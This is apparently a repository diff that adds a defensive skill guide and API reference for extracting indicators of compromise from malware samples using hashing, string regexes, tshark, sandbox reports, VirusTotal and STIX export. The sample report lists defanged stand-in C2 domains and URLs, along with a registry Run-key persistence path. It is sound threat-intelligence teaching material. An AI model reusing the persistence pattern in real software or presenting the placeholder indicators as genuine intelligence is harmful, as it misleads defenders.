END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,396 @@
|
||||
---
|
||||
name: extracting-iocs-from-malware-samples
|
||||
description: Extracts indicators of compromise (IOCs) from malware samples, including
|
||||
file hashes, network indicators (IPs, domains, URLs, PCAP indicators), host artifacts
|
||||
(file paths, registry keys, mutexes), and behavioral patterns, using tools like
|
||||
CyberChef, then defangs and exports them in standard threat-intel formats. Use
|
||||
for IOC extraction, threat indicator harvesting, or building detection content
|
||||
from a sample.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- IOC-extraction
|
||||
- threat-intelligence
|
||||
- indicators
|
||||
- detection
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1027
|
||||
- T1055
|
||||
- T1140
|
||||
- T1497
|
||||
---
|
||||
|
||||
# Extracting IOCs from Malware Samples
|
||||
|
||||
## When to Use
|
||||
|
||||
- A malware analysis (static or dynamic) is complete and actionable indicators need to be extracted for defense teams
|
||||
- Building blocklists for firewalls, proxies, and DNS sinkholes from analyzed samples
|
||||
- Creating YARA rules, Snort/Suricata signatures, or SIEM detection content from malware artifacts
|
||||
- Contributing to threat intelligence sharing platforms (MISP, OTX, ThreatConnect)
|
||||
- Tracking malware campaigns by correlating IOCs across multiple samples
|
||||
|
||||
**Do not use** for IOCs from unverified sources without validation; false positives in blocklists can disrupt legitimate business operations.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with `iocextract`, `pefile`, `yara-python` libraries installed
|
||||
- Completed malware analysis report (static analysis, dynamic analysis, or reverse engineering)
|
||||
- Access to PCAP files, memory dumps, or sandbox reports from the analysis
|
||||
- MISP instance or STIX/TAXII server for structured IOC sharing
|
||||
- VirusTotal API key for IOC enrichment and validation
|
||||
- CyberChef for decoding obfuscated indicators
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Extract File-Based IOCs
|
||||
|
||||
Compute hashes and identify file metadata indicators:
|
||||
|
||||
```bash
|
||||
# Generate all standard hashes
|
||||
md5sum malware_sample.exe
|
||||
sha1sum malware_sample.exe
|
||||
sha256sum malware_sample.exe
|
||||
|
||||
# Generate ssdeep fuzzy hash for similarity matching
|
||||
ssdeep malware_sample.exe
|
||||
|
||||
# Generate imphash (import hash) for PE files
|
||||
python3 -c "
|
||||
import pefile
|
||||
pe = pefile.PE('malware_sample.exe')
|
||||
print(f'Imphash: {pe.get_imphash()}')
|
||||
"
|
||||
|
||||
# Generate TLSH (Trend Micro Locality Sensitive Hash)
|
||||
python3 -c "
|
||||
import tlsh
|
||||
with open('malware_sample.exe', 'rb') as f:
|
||||
h = tlsh.hash(f.read())
|
||||
print(f'TLSH: {h}')
|
||||
"
|
||||
|
||||
# Compile file metadata IOCs
|
||||
python3 << 'PYEOF'
|
||||
import pefile
|
||||
import os
|
||||
import hashlib
|
||||
import datetime
|
||||
|
||||
pe = pefile.PE("malware_sample.exe")
|
||||
|
||||
print("FILE IOCs:")
|
||||
with open("malware_sample.exe", "rb") as f:
|
||||
data = f.read()
|
||||
print(f" MD5: {hashlib.md5(data).hexdigest()}")
|
||||
print(f" SHA-1: {hashlib.sha1(data).hexdigest()}")
|
||||
print(f" SHA-256: {hashlib.sha256(data).hexdigest()}")
|
||||
print(f" File Size: {len(data)} bytes")
|
||||
|
||||
ts = pe.FILE_HEADER.TimeDateStamp
|
||||
print(f" Compile: {datetime.datetime.utcfromtimestamp(ts)} UTC")
|
||||
print(f" Imphash: {pe.get_imphash()}")
|
||||
PYEOF
|
||||
```
|
||||
|
||||
### Step 2: Extract Network IOCs
|
||||
|
||||
Pull network indicators from strings, PCAP, and sandbox reports:
|
||||
|
||||
```python
|
||||
# Extract network IOCs from strings
|
||||
import re
|
||||
|
||||
with open("malware_sample.exe", "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
# Extract ASCII and Unicode strings
|
||||
ascii_strings = re.findall(b'[ -~]{4,}', data)
|
||||
unicode_strings = re.findall(b'(?:[ -~]\x00){4,}', data)
|
||||
|
||||
all_strings = [s.decode('ascii', errors='ignore') for s in ascii_strings]
|
||||
all_strings += [s.decode('utf-16-le', errors='ignore') for s in unicode_strings]
|
||||
|
||||
# IP addresses (excluding private ranges for C2 indicators)
|
||||
ip_pattern = re.compile(r'\b(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\b')
|
||||
ips = set()
|
||||
for s in all_strings:
|
||||
for ip in ip_pattern.findall(s):
|
||||
# Filter out private/reserved ranges
|
||||
octets = [int(o) for o in ip.split('.')]
|
||||
if octets[0] not in [10, 127, 0] and not (octets[0] == 172 and 16 <= octets[1] <= 31) and not (octets[0] == 192 and octets[1] == 168):
|
||||
ips.add(ip)
|
||||
|
||||
# Domain names
|
||||
domain_pattern = re.compile(r'\b[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z]{2,})+\b')
|
||||
domains = set()
|
||||
for s in all_strings:
|
||||
for d in domain_pattern.findall(s):
|
||||
if not d.endswith(('.dll', '.exe', '.sys', '.com.au')):
|
||||
domains.add(d)
|
||||
|
||||
# URLs
|
||||
url_pattern = re.compile(r'https?://[^\s<>"{}|\\^`\[\]]+')
|
||||
urls = set()
|
||||
for s in all_strings:
|
||||
for u in url_pattern.findall(s):
|
||||
urls.add(u)
|
||||
|
||||
print("NETWORK IOCs:")
|
||||
print(f" IPs: {ips}")
|
||||
print(f" Domains: {domains}")
|
||||
print(f" URLs: {urls}")
|
||||
```
|
||||
|
||||
### Step 3: Extract Host-Based IOCs
|
||||
|
||||
Identify file paths, registry keys, mutexes, and services:
|
||||
|
||||
```python
|
||||
# Extract host-based IOCs from sandbox report
|
||||
import json
|
||||
|
||||
with open("cuckoo_report.json") as f:
|
||||
report = json.load(f)
|
||||
|
||||
print("HOST IOCs:")
|
||||
|
||||
# File paths created or modified
|
||||
print("\nFile Paths:")
|
||||
for f in report["behavior"]["summary"].get("files", []):
|
||||
if any(p in f.lower() for p in ["temp", "appdata", "system32", "programdata"]):
|
||||
print(f" [DROPPED] {f}")
|
||||
|
||||
# Registry keys for persistence
|
||||
print("\nRegistry Keys:")
|
||||
for key in report["behavior"]["summary"].get("write_keys", []):
|
||||
if any(p in key.lower() for p in ["run", "service", "startup", "shell"]):
|
||||
print(f" [PERSIST] {key}")
|
||||
|
||||
# Mutexes (unique to malware family)
|
||||
print("\nMutexes:")
|
||||
for mutex in report["behavior"]["summary"].get("mutexes", []):
|
||||
if mutex not in ["Local\\!IETld!Mutex", "RasPbFile"]: # Filter known Windows mutexes
|
||||
print(f" [MUTEX] {mutex}")
|
||||
|
||||
# Created services
|
||||
print("\nServices:")
|
||||
for svc in report["behavior"]["summary"].get("started_services", []):
|
||||
print(f" [SERVICE] {svc}")
|
||||
```
|
||||
|
||||
### Step 4: Extract Network IOCs from PCAP
|
||||
|
||||
Parse network captures for additional indicators:
|
||||
|
||||
```bash
|
||||
# Extract DNS queries from PCAP
|
||||
tshark -r capture.pcap -T fields -e dns.qry.name -Y "dns.flags.response == 0" | sort -u
|
||||
|
||||
# Extract HTTP hosts and URLs
|
||||
tshark -r capture.pcap -T fields -e http.host -e http.request.uri -Y "http.request" | sort -u
|
||||
|
||||
# Extract TLS server names (SNI)
|
||||
tshark -r capture.pcap -T fields -e tls.handshake.extensions_server_name -Y "tls.handshake.type == 1" | sort -u
|
||||
|
||||
# Extract JA3 hashes
|
||||
tshark -r capture.pcap -T fields -e tls.handshake.ja3 -Y "tls.handshake.type == 1" | sort -u
|
||||
|
||||
# Extract unique destination IPs
|
||||
tshark -r capture.pcap -T fields -e ip.dst -Y "ip.src == 10.0.2.15" | sort -u
|
||||
|
||||
# Extract User-Agent strings
|
||||
tshark -r capture.pcap -T fields -e http.user_agent -Y "http.user_agent" | sort -u
|
||||
```
|
||||
|
||||
### Step 5: Defang and Validate IOCs
|
||||
|
||||
Defang indicators for safe sharing and validate against threat intelligence:
|
||||
|
||||
```python
|
||||
# Defang IOCs for safe sharing
|
||||
def defang_ip(ip):
|
||||
return ip.replace(".", "[.]")
|
||||
|
||||
def defang_url(url):
|
||||
return url.replace("http", "hxxp").replace(".", "[.]")
|
||||
|
||||
def defang_domain(domain):
|
||||
return domain.replace(".", "[.]")
|
||||
|
||||
# Validate IOCs against VirusTotal
|
||||
import requests
|
||||
|
||||
VT_API_KEY = "your_api_key"
|
||||
|
||||
def check_vt_ip(ip):
|
||||
resp = requests.get(f"https://www.virustotal.com/api/v3/ip_addresses/{ip}",
|
||||
headers={"x-apikey": VT_API_KEY})
|
||||
data = resp.json()
|
||||
stats = data["data"]["attributes"]["last_analysis_stats"]
|
||||
return stats["malicious"]
|
||||
|
||||
def check_vt_domain(domain):
|
||||
resp = requests.get(f"https://www.virustotal.com/api/v3/domains/{domain}",
|
||||
headers={"x-apikey": VT_API_KEY})
|
||||
data = resp.json()
|
||||
stats = data["data"]["attributes"]["last_analysis_stats"]
|
||||
return stats["malicious"]
|
||||
|
||||
# Validate each IOC
|
||||
for ip in ips:
|
||||
detections = check_vt_ip(ip)
|
||||
print(f" {defang_ip(ip)} - VT: {detections} detections")
|
||||
```
|
||||
|
||||
### Step 6: Export IOCs in Standard Formats
|
||||
|
||||
Generate structured IOC outputs for sharing and ingestion:
|
||||
|
||||
```python
|
||||
# Export as STIX 2.1 bundle
|
||||
from stix2 import Indicator, Bundle, Malware, Relationship
|
||||
import datetime
|
||||
|
||||
indicators = []
|
||||
|
||||
# File hash indicator
|
||||
indicators.append(Indicator(
|
||||
name="Malware SHA-256 Hash",
|
||||
pattern=f"[file:hashes.'SHA-256' = '{sha256_hash}']",
|
||||
pattern_type="stix",
|
||||
valid_from=datetime.datetime.now(datetime.timezone.utc),
|
||||
labels=["malicious-activity"]
|
||||
))
|
||||
|
||||
# IP indicator
|
||||
for ip in ips:
|
||||
indicators.append(Indicator(
|
||||
name=f"C2 IP Address {ip}",
|
||||
pattern=f"[ipv4-addr:value = '{ip}']",
|
||||
pattern_type="stix",
|
||||
valid_from=datetime.datetime.now(datetime.timezone.utc),
|
||||
labels=["malicious-activity"]
|
||||
))
|
||||
|
||||
# Domain indicator
|
||||
for domain in domains:
|
||||
indicators.append(Indicator(
|
||||
name=f"C2 Domain {domain}",
|
||||
pattern=f"[domain-name:value = '{domain}']",
|
||||
pattern_type="stix",
|
||||
valid_from=datetime.datetime.now(datetime.timezone.utc),
|
||||
labels=["malicious-activity"]
|
||||
))
|
||||
|
||||
bundle = Bundle(objects=indicators)
|
||||
with open("iocs_stix.json", "w") as f:
|
||||
f.write(bundle.serialize(pretty=True))
|
||||
|
||||
# Export as CSV for SIEM ingestion
|
||||
import csv
|
||||
with open("iocs.csv", "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(["type", "value", "context", "confidence"])
|
||||
writer.writerow(["sha256", sha256_hash, "malware_sample", "high"])
|
||||
for ip in ips:
|
||||
writer.writerow(["ipv4", ip, "c2_server", "high"])
|
||||
for domain in domains:
|
||||
writer.writerow(["domain", domain, "c2_domain", "high"])
|
||||
for url in urls:
|
||||
writer.writerow(["url", url, "c2_url", "high"])
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **IOC (Indicator of Compromise)** | Forensic artifact observed in a network or system that indicates a potential intrusion: hashes, IPs, domains, file paths, registry keys |
|
||||
| **Defanging** | Modifying IOCs to prevent accidental activation (e.g., replacing dots with [.] in URLs and IPs for safe sharing in reports) |
|
||||
| **Imphash** | MD5 hash of the import table functions in a PE file; samples from the same malware family often share the same imphash |
|
||||
| **STIX/TAXII** | Structured Threat Information Expression / Trusted Automated Exchange; standards for encoding and transmitting threat intelligence |
|
||||
| **JA3/JA3S** | TLS client/server fingerprint based on ClientHello/ServerHello parameters; identifies specific malware families by their TLS implementation |
|
||||
| **Fuzzy Hashing (ssdeep)** | Context-triggered piecewise hashing that identifies similar files even with minor modifications; useful for malware variant detection |
|
||||
| **MISP** | Malware Information Sharing Platform; open-source threat intelligence platform for collecting, storing, and sharing IOCs |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **iocextract (Python)**: Automated IOC extraction library supporting IPs, URLs, domains, hashes, and YARA rules from text
|
||||
- **MISP**: Open-source threat intelligence sharing platform for structured IOC management and distribution
|
||||
- **CyberChef**: Web-based tool for decoding, decrypting, and transforming data useful for deobfuscating encoded IOCs
|
||||
- **tshark**: Command-line network protocol analyzer for extracting network IOCs from PCAP files
|
||||
- **VirusTotal**: Online service for validating and enriching IOCs with community detection results and threat intelligence
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Building a Comprehensive IOC Package from a Ransomware Sample
|
||||
|
||||
**Context**: A ransomware incident requires rapid IOC extraction for blocking across the enterprise while the full investigation continues. Multiple data sources are available: the sample binary, PCAP from network monitoring, and a Cuckoo sandbox report.
|
||||
|
||||
**Approach**:
|
||||
1. Compute all file hashes (MD5, SHA-1, SHA-256, imphash, ssdeep) for the ransomware binary and any dropped files
|
||||
2. Extract network IOCs from strings in the binary (hardcoded C2 addresses)
|
||||
3. Parse the PCAP for DNS queries, HTTP requests, and TLS SNI fields
|
||||
4. Extract host IOCs from the sandbox report (file paths, registry keys, mutexes, ransom note filenames)
|
||||
5. Validate all network IOCs against VirusTotal to confirm malicious status and check for known associations
|
||||
6. Defang all indicators and compile into STIX 2.1 format for sharing and CSV for SIEM ingestion
|
||||
7. Submit to MISP event for organizational and community sharing
|
||||
|
||||
**Pitfalls**:
|
||||
- Including IP addresses of legitimate CDNs or cloud services without validating context (e.g., AWS IPs used for hosting, not inherently malicious)
|
||||
- Not defanging URLs and IPs in reports, leading to accidental clicks or DNS resolution
|
||||
- Extracting strings from packed binaries (IOCs from packed samples are unreliable; unpack first)
|
||||
- Forgetting to include dropped file hashes (the initial dropper and the final payload are separate IOCs)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
IOC EXTRACTION REPORT
|
||||
======================
|
||||
Sample: ransomware.exe
|
||||
Analysis Date: 2025-09-15
|
||||
Analyst: [Name]
|
||||
|
||||
FILE INDICATORS
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
SHA-1: da39a3ee5e6b4b0d3255bfef95601890afd80709
|
||||
MD5: d41d8cd98f00b204e9800998ecf8427e
|
||||
Imphash: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
|
||||
ssdeep: 3072:kJh3bN7fY+aUkJh3bN7fY+aU:kJh3R7aUkJh3R7aU
|
||||
|
||||
NETWORK INDICATORS
|
||||
C2 IPs: 185.220.101[.]42, 91.215.85[.]17
|
||||
C2 Domains: update.malicious[.]com, backup.evil[.]net
|
||||
C2 URLs: hxxps://update.malicious[.]com/gate.php
|
||||
hxxps://backup.evil[.]net/gate.php
|
||||
JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)
|
||||
|
||||
HOST INDICATORS
|
||||
File Paths: C:\Users\Public\svchost.exe
|
||||
C:\Users\%USER%\AppData\Local\Temp\payload.dll
|
||||
C:\Users\%USER%\Desktop\README_DECRYPT.txt
|
||||
Registry Keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate
|
||||
Mutexes: Global\CryptLocker_2025_Q3
|
||||
Services: FakeWindowsUpdate
|
||||
|
||||
CONFIDENCE ASSESSMENT
|
||||
High Confidence: SHA-256, C2 IPs (validated via VT), Mutexes
|
||||
Medium Confidence: Domains (could be compromised legitimate sites)
|
||||
Low Confidence: User-Agent (common string, high false positive risk)
|
||||
|
||||
EXPORT FILES
|
||||
stix_bundle.json - STIX 2.1 format for TIP ingestion
|
||||
iocs.csv - Flat CSV for SIEM blocklist import
|
||||
yara_rule.yar - YARA detection rule
|
||||
```
|
||||
@@ -0,0 +1,77 @@
|
||||
# API Reference: Malware IOC Extraction Agent
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| pefile | >=2023.2 | PE file parsing for imphash, sections, imports |
|
||||
| yara-python | >=4.3 | YARA rule scanning against malware samples |
|
||||
| requests | >=2.28 | VirusTotal API v3 IOC validation |
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python scripts/agent.py \
|
||||
--sample /cases/malware.exe \
|
||||
--yara-rules /rules/malware.yar \
|
||||
--vt-key YOUR_VT_API_KEY \
|
||||
--output-dir /cases/analysis/ \
|
||||
--output ioc_report.json
|
||||
```
|
||||
|
||||
## Functions
|
||||
|
||||
### `compute_hashes(file_path) -> dict`
|
||||
Computes MD5, SHA-1, SHA-256 and file size for the sample.
|
||||
|
||||
### `extract_pe_metadata(file_path) -> dict`
|
||||
Parses PE headers via pefile: imphash, compile timestamp, section entropy, import table.
|
||||
|
||||
### `extract_strings(file_path, min_length) -> list`
|
||||
Extracts ASCII and Unicode strings (min 4 chars) from the binary.
|
||||
|
||||
### `extract_network_iocs(strings) -> dict`
|
||||
Regex extraction of IPs, domains, URLs, emails from strings. Filters private IP ranges.
|
||||
|
||||
### `extract_host_iocs(strings) -> dict`
|
||||
Identifies Windows file paths, registry keys, and mutex names from strings.
|
||||
|
||||
### `run_yara_scan(file_path, rules_path) -> list`
|
||||
Compiles and runs YARA rules against the sample. Returns matched rule names, tags, and string offsets.
|
||||
|
||||
### `validate_ioc_virustotal(ioc_value, ioc_type, api_key) -> dict`
|
||||
Queries VirusTotal API v3 for IP, domain, or file hash. Returns malicious/suspicious counts.
|
||||
|
||||
### `defang_ioc(value) -> str`
|
||||
Defangs IOCs by replacing `http` with `hxxp` and `.` with `[.]`.
|
||||
|
||||
### `export_stix_bundle(iocs, sha256) -> dict`
|
||||
Builds a STIX 2.1 indicator bundle with file hash, IP, and domain patterns.
|
||||
|
||||
### `export_csv(iocs, hashes, output_path)`
|
||||
Writes IOCs to CSV format (type, value, context, confidence) for SIEM ingestion.
|
||||
|
||||
### `run_extraction(sample_path, output_dir, yara_rules, vt_key) -> dict`
|
||||
Orchestrates the full extraction pipeline and generates all output files.
|
||||
|
||||
## Regex Patterns
|
||||
|
||||
| Pattern | Target |
|
||||
|---------|--------|
|
||||
| `\b(?:(?:25[0-5]\|...)\.){3}...\b` | IPv4 addresses |
|
||||
| `\b[a-zA-Z0-9]...\.[a-zA-Z]{2,}+\b` | Domain names |
|
||||
| `https?://[^\s<>"'{}]+` | URLs |
|
||||
| `[a-zA-Z0-9_.+-]+@...` | Email addresses |
|
||||
|
||||
## Output Schema
|
||||
|
||||
```json
|
||||
{
|
||||
"hashes": {"md5": "...", "sha256": "...", "sha1": "..."},
|
||||
"pe_metadata": {"imphash": "...", "compile_time": "...", "sections": []},
|
||||
"network_iocs": {"ips": [], "domains": [], "urls": []},
|
||||
"host_iocs": {"file_paths": [], "registry_keys": [], "mutexes": []},
|
||||
"yara_matches": [{"rule": "APT28_dropper", "tags": ["apt"]}],
|
||||
"summary": {"ips": 3, "domains": 5, "yara_hits": 1}
|
||||
}
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user